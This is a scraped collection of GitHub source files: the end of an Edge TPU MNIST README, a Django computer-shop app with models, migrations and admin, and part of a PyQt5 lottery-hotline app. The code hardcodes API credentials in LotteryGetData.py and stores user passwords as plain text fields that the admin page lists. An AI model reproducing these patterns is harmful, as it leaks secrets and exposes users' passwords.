Lite model for compatibility with the Edge TPU.<br>\nSee [Edge TPU online compiler](https://coral.withgoogle.com/web-compiler) for details.\n\n# How to Run a model on the Edge TPU\nFirst, Copy the Edge TPU Model to the classify directory.<br>\nThe directory structure is as follows.<br>\n```\n classify\n + classify_mnist.py\n + mnist_data.py\n + xxxx_edgetpu.tflite\n```\nNote: \"xxxx_edgetpu.tflite\" is Edge TPU Model. This repository contains \"mnist_tflite_edgetpu.tflite\"\n\nThen, classify MNIST data:\n```\n$ python3 classify_mnist.py --model=./mnist_tflite_edgetpu.tflite\n```\n\nThe result of classification with images is displayed on the console as follows.<br>\n\"Inference latency:\" and \"Output tensor:\" are return values of the RunInference method of eddypu.basic.basic_engine.BasicEngine.<br>\n(See details [Python API](https://coral.withgoogle.com/docs/reference/edgetpu.basic.basic_engine/#edgetpu.basic.basic_engine.BasicEngine.RunInference))<br>\n\"Inference\" is the most accurate value of \"output tensor\" (correct and predicted numbers).<br>\n\"Label\" is the correct label.<br>\n![Console](./g3doc/console.png)\n\nNote: Full command-line options:\n```\n$ python3 classify_mnist.py -h\n```\n\n## How to Run a model on the TF-Lite \nIf you want to use the TF-Lite API, take a look at the notebook sample.\nClassify MNIST using TF-Lite Model.\n\n\nFor more information, please refer [my blogs](https://nextremer-nbo.blogspot.com/2019/06/edge-tpu.html).<br>\n(comming soon. but sorry japanese only.)\n" } ]
2
FGTZ/a2z
https://github.com/FGTZ/a2z
293df49e427acc663227758d2b6cdea6f04c0521
caa7136488b72ad2ec8332b616279d624388ecad
5621f8b3e7582f5872cea8446a3e7d3164bb952e
refs/heads/master
2020-04-30T06:51:54.621919
2019-03-20T06:07:00
2019-03-20T06:07:00
176,665,823
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.47295209765434265, "alphanum_fraction": 0.5224111080169678, "avg_line_length": 21.310344696044922, "blob_id": "46ed6b58a5c18bf6a9e35fe81929309614d0f6e6", "content_id": "a04d20218f07fd6862d35820585a3167469a13bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 647, "license_type": "no_license", "max_line_length": 47, "num_lines": 29, "path": "/a2z/migrations/0003_auto_20190316_2044.py", "repo_name": "FGTZ/a2z", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.7 on 2019-03-17 03:44\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('a2z', '0002_auto_20190311_2148'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='accessories',\n name='picture',\n ),\n migrations.RemoveField(\n model_name='computer',\n name='brand',\n ),\n migrations.RemoveField(\n model_name='computer',\n name='picture',\n ),\n migrations.RemoveField(\n model_name='customize',\n name='picture',\n ),\n ]\n" }, { "alpha_fraction": 0.5473436117172241, "alphanum_fraction": 0.5642673373222351, "avg_line_length": 48.1368408203125, "blob_id": "892ab805d1c43ed8a4b32f2ac1f446c5ca154bad", "content_id": "46f256399ac7cb117e9d47725f5c267d041f2f13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4668, "license_type": "no_license", "max_line_length": 114, "num_lines": 95, "path": "/a2z/migrations/0001_initial.py", "repo_name": "FGTZ/a2z", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.7 on 2019-03-11 05:56\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Accessories',\n fields=[\n ('accessoriesId', models.IntegerField(primary_key=True, serialize=False)),\n ('accessoriesName', models.CharField(max_length=150)),\n ('description', models.CharField(max_length=300)),\n ('price', models.IntegerField()),\n ('stock', models.IntegerField()),\n ('picture', models.ImageField(upload_to='product', verbose_name='Accessories_Image')),\n ],\n ),\n migrations.CreateModel(\n name='Categories',\n fields=[\n ('categoriesId', models.IntegerField(primary_key=True, serialize=False)),\n ('categoriesName', models.CharField(max_length=300)),\n ],\n ),\n migrations.CreateModel(\n name='Computer',\n fields=[\n ('computerId', models.IntegerField(primary_key=True, serialize=False)),\n ('computerName', models.CharField(max_length=150)),\n ('description', models.CharField(max_length=300)),\n ('brand', models.CharField(max_length=300, null=True)),\n ('processor', models.CharField(max_length=300, null=True)),\n ('operating', models.CharField(max_length=300, null=True, verbose_name='Operating_System')),\n ('memory', models.CharField(max_length=300, null=True)),\n ('hardDrive', models.CharField(max_length=300, null=True)),\n ('display', models.CharField(max_length=300, null=True)),\n ('price', models.IntegerField()),\n ('stock', models.IntegerField()),\n ('picture', models.ImageField(upload_to='product', verbose_name='Product_Image')),\n ],\n ),\n migrations.CreateModel(\n name='Customer',\n fields=[\n ('customerId', models.IntegerField(primary_key=True, serialize=False, verbose_name='Custome_ID')),\n ('customerName', models.CharField(max_length=30, verbose_name='Custome_Name')),\n ('customerEmail', models.CharField(max_length=30, verbose_name='Custome_Email')),\n ('password', models.CharField(max_length=30)),\n ('billAddr', models.CharField(max_length=150, null=True, verbose_name='Billing_Address')),\n ('shipAddr', models.CharField(max_length=150, null=True, verbose_name='Shipping_Address')),\n ('Contact', models.CharField(max_length=150, null=True)),\n ],\n ),\n migrations.CreateModel(\n name='Customize',\n fields=[\n ('customizeId', models.IntegerField(primary_key=True, serialize=False)),\n ('customizeName', models.CharField(max_length=150)),\n ('description', models.CharField(max_length=300)),\n ('price', models.IntegerField()),\n ('stock', models.IntegerField()),\n ('picture', models.ImageField(upload_to='product', verbose_name='Customize_Image')),\n ('category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='a2z.Categories')),\n ],\n ),\n migrations.CreateModel(\n name='Order',\n fields=[\n ('orderNo', models.IntegerField(primary_key=True, serialize=False)),\n ('billAddr', models.CharField(max_length=150, null=True, verbose_name='Billing_Address')),\n ('shipAddr', models.CharField(max_length=150, null=True, verbose_name='Shipping_Address')),\n ('amount', models.IntegerField()),\n ('orderTime', models.DateTimeField(auto_now_add=True)),\n ('customer', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='a2z.Customer')),\n ],\n ),\n migrations.CreateModel(\n name='OrderDetail',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('quantity', models.IntegerField()),\n ('price', models.IntegerField()),\n ('item', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='a2z.Computer')),\n ('orderNo', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='a2z.Order')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.5404984354972839, "alphanum_fraction": 0.5996884703636169, "avg_line_length": 26.913043975830078, "blob_id": "cd52cfe890fc64cdf7c7da4132e9e98d3ac78da2", "content_id": "7b2acbfc2c06fe8d062e53673e94b3536541a66d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 642, "license_type": "no_license", "max_line_length": 96, "num_lines": 23, "path": "/a2z/migrations/0004_auto_20190318_2108.py", "repo_name": "FGTZ/a2z", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.7 on 2019-03-19 04:08\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('a2z', '0003_auto_20190316_2044'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='customer',\n name='customerEmail',\n field=models.EmailField(max_length=128, unique=True, verbose_name='Customer_Email'),\n ),\n migrations.AlterField(\n model_name='customer',\n name='customerName',\n field=models.CharField(max_length=128, unique=True, verbose_name='Customer_Name'),\n ),\n ]\n" }, { "alpha_fraction": 0.7142857313156128, "alphanum_fraction": 0.738095223903656, "avg_line_length": 15.800000190734863, "blob_id": "566901bcff377f09889a7f0c51e76c70cd8b979e", "content_id": "a4e2e4401e39e4627a864366de02c6151986b65e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 84, "license_type": "no_license", "max_line_length": 33, "num_lines": 5, "path": "/a2z/apps.py", "repo_name": "FGTZ/a2z", "src_encoding": "UTF-8", "text": "from django.apps import AppConfig\n\n\nclass A2ZWebConfig(AppConfig):\n name = 'a2z'\n" }, { "alpha_fraction": 0.5387454032897949, "alphanum_fraction": 0.5636531114578247, "avg_line_length": 28.29729652404785, "blob_id": "56a4d1c1735c6e2b90e7022c16c80bebe81b19d1", "content_id": "447c44d527e0a15f1d33c67f03ba0c5ae61c2486", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1084, "license_type": "no_license", "max_line_length": 101, "num_lines": 37, "path": "/a2z/migrations/0002_auto_20190311_2148.py", "repo_name": "FGTZ/a2z", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.7 on 2019-03-12 04:48\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('a2z', '0001_initial'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='customer',\n name='Contact',\n ),\n migrations.AddField(\n model_name='customer',\n name='contact',\n field=models.CharField(max_length=150, null=True),\n ),\n migrations.AlterField(\n model_name='customer',\n name='customerEmail',\n field=models.CharField(max_length=30, verbose_name='Customer_Email'),\n ),\n migrations.AlterField(\n model_name='customer',\n name='customerId',\n field=models.IntegerField(primary_key=True, serialize=False, verbose_name='Customer_ID'),\n ),\n migrations.AlterField(\n model_name='customer',\n name='customerName',\n field=models.CharField(max_length=30, verbose_name='Customer_Name'),\n ),\n ]\n" }, { "alpha_fraction": 0.7024374604225159, "alphanum_fraction": 0.7220639586448669, "avg_line_length": 41.67567443847656, "blob_id": "8fafa2b0aa1510aae5fac505c97c96f62e475776", "content_id": "85ea31c270f49dae670a0f477dda3bcf5a1f0d3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3183, "license_type": "no_license", "max_line_length": 95, "num_lines": 74, "path": "/a2z/models.py", "repo_name": "FGTZ/a2z", "src_encoding": "UTF-8", "text": "\nfrom django.db import models\n\n# Create your models here.\nclass User(models.Model):\n\n # gender = (\n # ('male'),\n # ('female'),\n # )\n\n name = models.CharField(max_length=128, unique=True)\n password = models.CharField(max_length=256)\n userEmail = models.EmailField(verbose_name='Customer_Email', max_length=128, unique=True)\n billAddr = models.CharField(verbose_name='Billing_Address', null=True, max_length=150)\n shipAddr = models.CharField(verbose_name='Shipping_Address', null=True, max_length=150)\n contact = models.CharField(null=True, max_length=150)\n # sex = models.CharField(max_length=32, choices=gender, default='male')\n create_time = models.DateTimeField(auto_now_add=True)\n\n def __str__(self):\n return self.name\n\n class Meta:\n verbose_name = 'users'\n verbose_name_plural = 'users'\n\nclass Computer(models.Model):\n computerId= models.IntegerField(primary_key=True)\n computerName = models.CharField(max_length=150)\n description = models.CharField(max_length=300)\n processor = models.CharField(null=True, max_length=300)\n memory = models.CharField(null=True, max_length=300)\n hardDrive = models.CharField(null=True, max_length=300)\n display = models.CharField(null=True, max_length=300)\n operating = models.CharField(null=True, verbose_name='Operating_System', max_length=300)\n price = models.IntegerField()\n stock = models.IntegerField()\n #picture = models.ImageField(upload_to='product', verbose_name='Product_Image', null=True)#\n\nclass Accessories(models.Model):\n accessoriesId= models.IntegerField(primary_key=True)\n accessoriesName = models.CharField(max_length=150)\n description = models.CharField(max_length=300)\n price = models.IntegerField()\n stock = models.IntegerField()\n #picture = models.ImageField(upload_to='product', verbose_name='Accessories_Image')\n\n\nclass Categories(models.Model):\n categoriesId = models.IntegerField(primary_key=True)\n categoriesName = models.CharField(max_length=300)\n\nclass Customize(models.Model):\n customizeId= models.IntegerField(primary_key=True)\n category = models.ForeignKey('Categories', on_delete=models.CASCADE)\n customizeName = models.CharField(max_length=150)\n description = models.CharField(max_length=300)\n price = models.IntegerField()\n stock = models.IntegerField()\n #picture = models.ImageField(upload_to='product', verbose_name='Customize_Image')\n\nclass Order(models.Model):\n orderNo = models.IntegerField(primary_key=True)\n customer = models.ForeignKey('User',on_delete=models.CASCADE)\n billAddr = models.CharField(verbose_name='Billing_Address', null=True, max_length=150)\n shipAddr = models.CharField(verbose_name='Shipping_Address', null=True, max_length=150)\n amount = models.IntegerField()\n orderTime = models.DateTimeField(auto_now_add=True)\n\nclass OrderDetail(models.Model): #Please help to finish this table.\n orderNo = models.ForeignKey('Order',on_delete=models.CASCADE)\n item = models.ForeignKey('Computer', on_delete=models.CASCADE)#这里应该是要查三个表格的\n quantity = models.IntegerField()\n price = models.IntegerField()\n" }, { "alpha_fraction": 0.5312290191650391, "alphanum_fraction": 0.5654801726341248, "avg_line_length": 37.17948532104492, "blob_id": "c4dd4716311b23bc4e4cd97dbc3e0cf2289ec56c", "content_id": "405215951cff72ea3bec6e2bc4f26ebbf5171ecd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1489, "license_type": "no_license", "max_line_length": 114, "num_lines": 39, "path": "/a2z/migrations/0005_auto_20190319_2109.py", "repo_name": "FGTZ/a2z", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1.7 on 2019-03-20 04:09\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('a2z', '0004_auto_20190318_2108'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='User',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=128, unique=True)),\n ('password', models.CharField(max_length=256)),\n ('userEmail', models.EmailField(max_length=128, unique=True, verbose_name='Customer_Email')),\n ('billAddr', models.CharField(max_length=150, null=True, verbose_name='Billing_Address')),\n ('shipAddr', models.CharField(max_length=150, null=True, verbose_name='Shipping_Address')),\n ('contact', models.CharField(max_length=150, null=True)),\n ('create_time', models.DateTimeField(auto_now_add=True)),\n ],\n options={\n 'verbose_name': 'users',\n 'verbose_name_plural': 'users',\n },\n ),\n migrations.AlterField(\n model_name='order',\n name='customer',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='a2z.User'),\n ),\n migrations.DeleteModel(\n name='Customer',\n ),\n ]\n" }, { "alpha_fraction": 0.7609618306159973, "alphanum_fraction": 0.7609618306159973, "avg_line_length": 41.84848403930664, "blob_id": "0bfb258a501dad4bb3bb66ebaf4121c94d690d69", "content_id": "83e434262daf94856d55ee75e56d409efe59b777", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1414, "license_type": "no_license", "max_line_length": 144, "num_lines": 33, "path": "/a2z/admin.py", "repo_name": "FGTZ/a2z", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom . import models\n# Register your models here.\nfrom .models import User, Computer, Accessories, Categories, Customize, Order, OrderDetail\n\n\nclass UserAdmin(admin.ModelAdmin):\n list_display = ('name','password','userEmail','billAddr','shipAddr','contact','create_time')\nadmin.site.register(User, UserAdmin)\n\nclass ComputerAdmin(admin.ModelAdmin):\n list_display = ('computerId','computerName','description','processor','memory','hardDrive','display','operating','price','stock')#'picture')\nadmin.site.register(Computer, ComputerAdmin)\n\nclass AccessoriesAdmin(admin.ModelAdmin):\n list_display = ('accessoriesId','accessoriesName','description','price','stock')#'picture')\nadmin.site.register(Accessories, AccessoriesAdmin)\n\nclass CategoriesAdmin(admin.ModelAdmin):\n list_display = ('categoriesId','categoriesName')\nadmin.site.register(Categories, CategoriesAdmin)\n\nclass CustomizeAdmin(admin.ModelAdmin):\n list_display = ('customizeId', 'category','customizeName','description','price','stock')#'picture')\nadmin.site.register(Customize, CustomizeAdmin)\n\nclass OrderAdmin(admin.ModelAdmin):\n list_display = ('orderNo','customer','billAddr','shipAddr','amount','orderTime')\nadmin.site.register(Order, OrderAdmin)\n\nclass OrderDetailAdmin(admin.ModelAdmin):\n list_display = ('orderNo', 'item','quantity','price')\nadmin.site.register(OrderDetail, OrderDetailAdmin)\n" } ]
8
breezeair/pyon
https://github.com/breezeair/pyon
ae3b5f541dd7cd8ee1fdd3d07c8cba7a4dc0ecec
cdd26bf776e3166a67a7cd4f8ff8d9cbcddf5a1e
3b2eed1591592592edc955d3ca183fb39b30839c
refs/heads/master
2021-07-22T22:38:38.047319
2017-10-31T11:06:00
2017-10-31T11:06:00
108,934,327
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6227267384529114, "alphanum_fraction": 0.6539878845214844, "avg_line_length": 42.82291793823242, "blob_id": "7089b53728c954018b1b19bc18e6e949564fa4ff", "content_id": "6ce441119b13db82156c0d43df9e40490bdbd6b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8649, "license_type": "no_license", "max_line_length": 85, "num_lines": 192, "path": "/UI/UI_Incoming.py", "repo_name": "breezeair/pyon", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file '.\\UI_Incoming.ui'\n#\n# Created by: PyQt5 UI code generator 5.6\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import *\nfrom UI.Lottery import *\nfrom UI.UI_LatticePoint import *\nfrom UI.UI_Maintenance import *\nfrom UI.UI_Feedback import *\nfrom UI.UI_Other import *\nimport json\nimport datetime\n\nclass Ui_IncomingInfo(object):\n def setupUi(self, IncomingInfo):\n IncomingInfo.setObjectName(\"IncomingInfo\")\n IncomingInfo.resize(650, 480)\n self.groupBox = QtWidgets.QGroupBox(IncomingInfo)\n self.groupBox.setGeometry(QtCore.QRect(10, 0, 621, 211))\n self.groupBox.setObjectName(\"groupBox\")\n self.label_2 = QtWidgets.QLabel(self.groupBox)\n self.label_2.setGeometry(QtCore.QRect(40, 30, 84, 20))\n self.label_2.setObjectName(\"label_2\")\n self.label = QtWidgets.QLabel(self.groupBox)\n self.label.setGeometry(QtCore.QRect(40, 70, 84, 20))\n self.label.setObjectName(\"label\")\n self.label_3 = QtWidgets.QLabel(self.groupBox)\n self.label_3.setGeometry(QtCore.QRect(40, 110, 84, 20))\n self.label_3.setObjectName(\"label_3\")\n self.label_4 = QtWidgets.QLabel(self.groupBox)\n self.label_4.setGeometry(QtCore.QRect(40, 150, 48, 20))\n self.label_4.setObjectName(\"label_4\")\n self.lineEdit = QtWidgets.QLineEdit(self.groupBox)\n self.lineEdit.setGeometry(QtCore.QRect(140, 30, 120, 30))\n self.lineEdit.setObjectName(\"lineEdit\")\n self.lineEdit_2 = QtWidgets.QLineEdit(self.groupBox)\n self.lineEdit_2.setGeometry(QtCore.QRect(140, 70, 120, 30))\n self.lineEdit_2.setObjectName(\"lineEdit_2\")\n self.lineEdit_3 = QtWidgets.QLineEdit(self.groupBox)\n self.lineEdit_3.setGeometry(QtCore.QRect(140, 110, 120, 30))\n self.lineEdit_3.setObjectName(\"lineEdit_3\")\n self.lineEdit_4 = QtWidgets.QLineEdit(self.groupBox)\n self.lineEdit_4.setGeometry(QtCore.QRect(140, 150, 120, 30))\n self.lineEdit_4.setObjectName(\"lineEdit_4\")\n self.pushPlace = QtWidgets.QPushButton(self.groupBox)\n self.pushPlace.setGeometry(QtCore.QRect(450, 100, 75, 23))\n self.pushPlace.setObjectName(\"pushButton_6\")\n self.label_5 = QtWidgets.QLabel(self.groupBox)\n self.label_5.setGeometry(QtCore.QRect(320, 40, 261, 31))\n self.label_5.setObjectName(\"label_5\")\n self.groupBox_2 = QtWidgets.QGroupBox(IncomingInfo)\n self.groupBox_2.setGeometry(QtCore.QRect(10, 220, 621, 251))\n self.groupBox_2.setObjectName(\"groupBox_2\")\n self.pushButton = QtWidgets.QPushButton(self.groupBox_2)\n self.pushButton.setGeometry(QtCore.QRect(80, 40, 90, 60))\n self.pushButton.setObjectName(\"pushButton\")\n self.pushButton_2 = QtWidgets.QPushButton(self.groupBox_2)\n self.pushButton_2.setGeometry(QtCore.QRect(230, 40, 100, 60))\n self.pushButton_2.setObjectName(\"pushButton_2\")\n self.pushButton_3 = QtWidgets.QPushButton(self.groupBox_2)\n self.pushButton_3.setGeometry(QtCore.QRect(80, 130, 90, 60))\n self.pushButton_3.setObjectName(\"pushButton_3\")\n self.pushButton_4 = QtWidgets.QPushButton(self.groupBox_2)\n self.pushButton_4.setGeometry(QtCore.QRect(390, 40, 90, 60))\n self.pushButton_4.setObjectName(\"pushButton_4\")\n self.pushButton_5 = QtWidgets.QPushButton(self.groupBox_2)\n self.pushButton_5.setGeometry(QtCore.QRect(230, 130, 90, 60))\n self.pushButton_5.setObjectName(\"pushButton_5\")\n self.comboBox = QtWidgets.QComboBox(self.groupBox)\n self.comboBox.setGeometry(QtCore.QRect(320, 100, 110, 25))\n self.comboBox.setObjectName(\"comboBox\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.comboBox.addItem(\"\")\n self.retranslateUi(IncomingInfo)\n QtCore.QMetaObject.connectSlotsByName(IncomingInfo)\n\n def retranslateUi(self, IncomingInfo):\n _translate = QtCore.QCoreApplication.translate\n IncomingInfo.setWindowTitle(_translate(\"IncomingInfo\", \"Form\"))\n self.groupBox.setTitle(_translate(\"IncomingInfo\", \"来电信息\"))\n self.label_2.setText(_translate(\"IncomingInfo\", \"来电号码:\"))\n self.label.setText(_translate(\"IncomingInfo\", \"时间:\"))\n self.label_3.setText(_translate(\"IncomingInfo\", \"今日来电序号:\"))\n self.label_4.setText(_translate(\"IncomingInfo\", \"登记员:\"))\n self.pushPlace.setText(_translate(\"IncomingInfo\", \"归档\"))\n self.label_5.setText(_translate(\"IncomingInfo\", \"如为有效来电,请点击归档,再进行后续操作:\"))\n self.groupBox_2.setTitle(_translate(\"IncomingInfo\", \"咨询内容\"))\n self.pushButton.setText(_translate(\"IncomingInfo\", \"开奖号码查询\"))\n self.pushButton_2.setText(_translate(\"IncomingInfo\", \"新网点申办咨询\"))\n self.pushButton_3.setText(_translate(\"IncomingInfo\", \"设备维修\"))\n self.pushButton_4.setText(_translate(\"IncomingInfo\", \"投诉与建议\"))\n self.pushButton_5.setText(_translate(\"IncomingInfo\", \"其他\"))\n #\n self.comboBox.setItemText(0, _translate(\"IncomingInfo\", \"请选择\"))\n self.comboBox.setItemText(1, _translate(\"IncomingInfo\", \"开奖号码查询\"))\n self.comboBox.setItemText(2, _translate(\"IncomingInfo\", \"新网点申办咨询\"))\n self.comboBox.setItemText(3, _translate(\"IncomingInfo\", \"设备维修\"))\n self.comboBox.setItemText(4, _translate(\"IncomingInfo\", \"投诉与建议\"))\n self.comboBox.setItemText(5, _translate(\"IncomingInfo\", \"其他\"))\n now = datetime.datetime.now()\n strnow = now.strftime('%Y-%m-%d %H:%M:%S')\n self.lineEdit_2.setText(_translate(\"IncomingInfo\", strnow))\n\n self.pushButton.clicked.connect(self.btnLottery)\n self.pushButton_2.clicked.connect(self.btnLattice)\n self.pushButton_3.clicked.connect(self.btnMaintenance)\n self.pushButton_4.clicked.connect(self.btnFeedback)\n self.pushButton_5.clicked.connect(self.btnOther)\n self.pushPlace.clicked.connect(self.btnPlace)\n\n def btnLottery(self):\n lotteryWin = LotteryWindow(self)\n lotteryWin.show()\n\n def btnLattice(self):\n lotteryWin = LatticeyWindow(self)\n lotteryWin.show()\n\n def btnMaintenance(self):\n lotteryWin = MaintenanceWindow(self)\n lotteryWin.show()\n\n def btnOther(self):\n lotteryWin = OtherWindow(self)\n lotteryWin.show()\n\n def btnFeedback(self):\n lotteryWin = FeedbackWindow(self)\n lotteryWin.show()\n\n def btnPlace(self):\n content = self.comboBox.currentText()\n tel = self.lineEdit.text()\n now = datetime.datetime.now()\n dateNow = now.strftime('%Y-%m-%d')\n timeNow = now.strftime('%H:%M:%S')\n worker = self.lineEdit_4.text()\n info = {\"咨询内容\":content, \"来电号码\":tel, \"日期\":dateNow, \"时间\":timeNow, \"登记员\":worker}\n with open(\"database\\incominginfo.json\", \"a\") as f:\n json.dump(info, f, indent=4, separators=(',',':'), ensure_ascii=False)\n print(\"guidang\")\n self.getIncomingNo()\n\n def getIncomingNo(self):\n now = datetime.datetime.now()\n dateNow = now.strftime('%Y-%m-%d')\n cou = 1\n with open(\"./database/incominginfo.json\", 'r') as json_file:\n data = json.loads(json_file)\n print(data)\n # for item in data:\n # if(item['日期'] == dateNow):\n # cou +=1\n # return cou\n\n\n\n \n\nclass LotteryWindow(QMainWindow, Ui_Lottery):\n def __init__(self, parent=None): \n super(LotteryWindow, self).__init__(parent)\n self.setupUi(self)\n\nclass LatticeyWindow(QMainWindow, Ui_LatticePoint):\n def __init__(self, parent=None): \n super(LatticeyWindow, self).__init__(parent)\n self.setupUi(self)\n\nclass FeedbackWindow(QMainWindow, Ui_feedback):\n def __init__(self, parent=None): \n super(FeedbackWindow, self).__init__(parent)\n self.setupUi(self)\n\nclass OtherWindow(QMainWindow, Ui_Other):\n def __init__(self, parent=None): \n super(OtherWindow, self).__init__(parent)\n self.setupUi(self)\n\nclass MaintenanceWindow(QMainWindow, Ui_Maintenance):\n def __init__(self, parent=None): \n super(MaintenanceWindow, self).__init__(parent)\n self.setupUi(self)" }, { "alpha_fraction": 0.4566987454891205, "alphanum_fraction": 0.4707624018192291, "avg_line_length": 27.70212745666504, "blob_id": "fbb4280c02fd3f9b359ffae8ce092b258f8ee249", "content_id": "816d0298b1f2a31325329f273dc87eea448e0e00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1377, "license_type": "no_license", "max_line_length": 99, "num_lines": 47, "path": "/UI/LotteryGetData.py", "repo_name": "breezeair/pyon", "src_encoding": "UTF-8", "text": "\n#python3.5\nfrom urllib import request, parse\nimport json\nimport datetime\n\nclass LotteryGetData: \n def __init__(self, code):\n self.code = code\n \n\n def getData(self):\n time = datetime.datetime.now()\n showapi_appid=\"48405\" #替换此值\n showapi_sign=\"6b0c9a848a88464f90a5171fc1618559\" #替换此值\n url=\"http://route.showapi.com/44-2\"\n send_data = parse.urlencode([\n ('showapi_appid', showapi_appid)\n ,('showapi_sign', showapi_sign)\n ,('code', self.code)\n ,('endTime', time)\n ,('count', \"20\")\n \n ])\n \n req = request.Request(url)\n try:\n response = request.urlopen(req, data=send_data.encode('utf-8'), timeout = 10) # 10秒超时反馈\n except Exception as e:\n print(e)\n result = response.read().decode('utf-8')\n result_json = json.loads(result)\n\n result_final = []\n for re in result_json['showapi_res_body']['result']:\n final = [\n re['expect'],\n re['openCode'],\n re['time'],\n \n \n ]\n result_final.append(final)\n return result_final\n \n\n#result_final = LotteryGetData(\"dlt\").getData()\n#print(result_final[2])\n\n" }, { "alpha_fraction": 0.6662606596946716, "alphanum_fraction": 0.6903166770935059, "avg_line_length": 44.5, "blob_id": "c1c11a3b191d8bcc82b81e40108d54128563778a", "content_id": "8d87033b66486e9acf44c7dd30c98f4b9eb19261", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3332, "license_type": "no_license", "max_line_length": 105, "num_lines": 72, "path": "/UI/UI_MainWindow.py", "repo_name": "breezeair/pyon", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file '.\\UI_MainWindow.ui'\n#\n# Created by: PyQt5 UI code generator 5.6\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom UI.LatticeOfficer import *\nfrom PyQt5.QtWidgets import *\nfrom UI.UI_LatticePoint import *\nfrom UI.Lottery import *\nfrom UI.UI_Incoming import *\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(399, 300)\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.pushButton = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton.setGeometry(QtCore.QRect(60, 40, 90, 60))\n self.pushButton.setObjectName(\"pushButton\")\n self.pushButton_3 = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_3.setGeometry(QtCore.QRect(60, 150, 90, 60))\n self.pushButton_3.setObjectName(\"pushButton_3\")\n self.pushButton_4 = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_4.setGeometry(QtCore.QRect(230, 40, 90, 60))\n self.pushButton_4.setObjectName(\"pushButton_4\")\n self.pushButton_5 = QtWidgets.QPushButton(self.centralwidget)\n self.pushButton_5.setGeometry(QtCore.QRect(230, 150, 90, 60))\n self.pushButton_5.setObjectName(\"pushButton_5\")\n MainWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(MainWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 399, 23))\n self.menubar.setObjectName(\"menubar\")\n self.menu = QtWidgets.QMenu(self.menubar)\n self.menu.setObjectName(\"menu\")\n self.menu_2 = QtWidgets.QMenu(self.menubar)\n self.menu_2.setObjectName(\"menu_2\")\n MainWindow.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n self.menubar.addAction(self.menu.menuAction())\n self.menubar.addAction(self.menu_2.menuAction())\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n self.pushButton.clicked.connect(self.newIncoming)\n self.pushButton_5.clicked.connect(self.close)\n\n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\n MainWindow.setToolTip(_translate(\"MainWindow\", \"<html><head/><body><p>你好,老铁x</p></body></html>\"))\n self.pushButton.setText(_translate(\"MainWindow\", \"新进来电\"))\n self.pushButton_3.setText(_translate(\"MainWindow\", \"登记员管理\"))\n 